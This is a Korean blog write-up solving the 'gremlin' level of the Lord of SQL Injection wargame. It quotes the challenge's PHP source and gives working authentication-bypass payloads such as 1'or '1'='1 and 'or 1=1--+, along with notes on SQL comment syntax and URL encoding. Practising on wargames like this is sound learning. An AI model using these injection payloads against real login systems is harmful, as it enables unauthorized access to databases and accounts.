본문 바로가기
해킹/LoS(Lord of SQL Injection)

[Los] gremlin 풀이

by yenua 2022. 6. 8.
반응형

그렘린(위 포스터의 회색생명체들)은 항공기를 비롯한 기계류의 오작동을 일으킨다는 말썽쟁이 생명체다 - 위키백과

 

los는 LORD OF SQLINJECTION 의 줄임말로, SQL Injection을 집중적으로 연습해볼 수 있는 워게임 사이트이다. 던전이 컨셉이라 문제 하나하나가 물리쳐야 할 몬스터 이름으로 되어 있다. 옛날 사이트에서는 문제 목록 화면에서 이름 대신 사진으로 나왔던 것 같은데, 지금은 몬스터 이름이 목록으로 나온다.

 

https://los.rubiya.kr/

 

Lord of SQLInjection

 

los.rubiya.kr

 

위 사이트에 접속하면 아래처럼 텍스트 기반의 화면이 뜨고, enter to the dungeon 을 클릭하면 나오는 join으로 간단한 정보를 입력하여 회원가입 후, 로그인하여 접속할 수 있다.

 

그럼 이제 los에서 그렘린을 물리쳐보자.

 

그렘린으로 들어가면 위와 같이 뜨는데, 소스코드가 주어지고, url에 직접 인자를 입력해서 소스코드의 solve 함수가 실행되도록 해야 한다.

 

현재 인자는 get 방식으로, id와 pw를 받고 있으므로, url 주소 끝에 ?를 붙이고 id='id 값'&pw='pw 값' 이렇게 넣으면 된다.

 

<?php
  include "./config.php";
  login_chk();
  $db = dbconnect();
  if(preg_match('/prob|_|\.|\(\)/i', $_GET[id])) exit("No Hack ~_~"); // do not try to attack another table, database!
  if(preg_match('/prob|_|\.|\(\)/i', $_GET[pw])) exit("No Hack ~_~");
  $query = "select id from prob_gremlin where id='{$_GET[id]}' and pw='{$_GET[pw]}'";
  echo "<hr>query : <strong>{$query}</strong><hr><br>";
  $result = @mysqli_fetch_array(mysqli_query($db,$query));
  if($result['id']) solve("gremlin");
  highlight_file(__FILE__);
?>

php 코드를 보면, id, pw를 받아서, 쿼리문을 통해 조회된 id가 있으면 성공이다. 즉, 아래의 부분을 우회해야 한다.

$query = "select id from prob_gremlin where id='{$_GET[id]}' and pw='{$_GET[pw]}'";

 

나는 아래와 같은 방식으로 그렘린을 처리했다. 주석 처리를 하는 방법을 제대로 몰랐어서  페이로드가 좀 길다..

 

https://los.rubiya.kr/chall/gremlin_~~.php?id=1%27or%20%271%27=%271&pw=1%27or%20%271%27=%271  

 

id : 1'or '1'='1

pw: 1'or '1'='1

url: ?id=1%27or%20%271%27=%271&pw=1%27or%20%271%27=%271

query : select id from prob_gremlin where id='1'or '1'='1' and pw='1'or '1'='1'

 

 

TMI

원래는 # 의 존재를 까먹고 --만 써보다가 안돼서 위처럼 긴 페이로드를 작성했었는데, writeup을 찾아보니 #도 되지만 --도 된다고 한다. 둘다 된다는 것을 보니 mariaDB를 사용하고 있는가보다.

https://blog.naver.com/gglee0127/221271644309 데이터베이스 종류별 SQL 주석 종류

 

찾아보니까 --가 안먹었던 이유는 --뒤에 공백이 없었기 때문이다. 공백을 url인코딩 한 %20나 이를 대체할 수 있는 +를 붙여 주석으로 처리되게 할 수 있다고 한다. --%20 이나 --+ 이런 식으로 사용해야 한다고 한다.

https://blog.karatos.in/a?ID=01750-4f45a242-8b65-4acf-bdbb-b9fe40e75e38 

위의 내용을 이용하여 그렘린을 처리하려면 아래와 같이 입력하면 된다.

url: ?id=%27or%201=1--+

query : select id from prob_gremlin where id=''or 1=1-- ' and pw=''

 

추가로, 그냥 #는 자바스크립트 처리에 쓰이므로, %23으로 url 인코딩 시켜서 보내야 한다. 관련된 내용은 아래를 참고하길 바라며, 이를 이용해서 DOM XSS가 이루어지는 것으로 알고 있다.

http://mkseo.pe.kr/blog/?p=2269 

 

 

 

반응형

'해킹 > LoS(Lord of SQL Injection)' 카테고리의 다른 글

[Los] darkelf 풀이  (0) 2022.06.11
[Los] wolfman 풀이  (0) 2022.06.11
[Los] orc 풀이 (작성 중)  (0) 2022.06.10
[Los] goblin 풀이  (1) 2022.06.09
[Los] cobolt 풀이  (0) 2022.06.08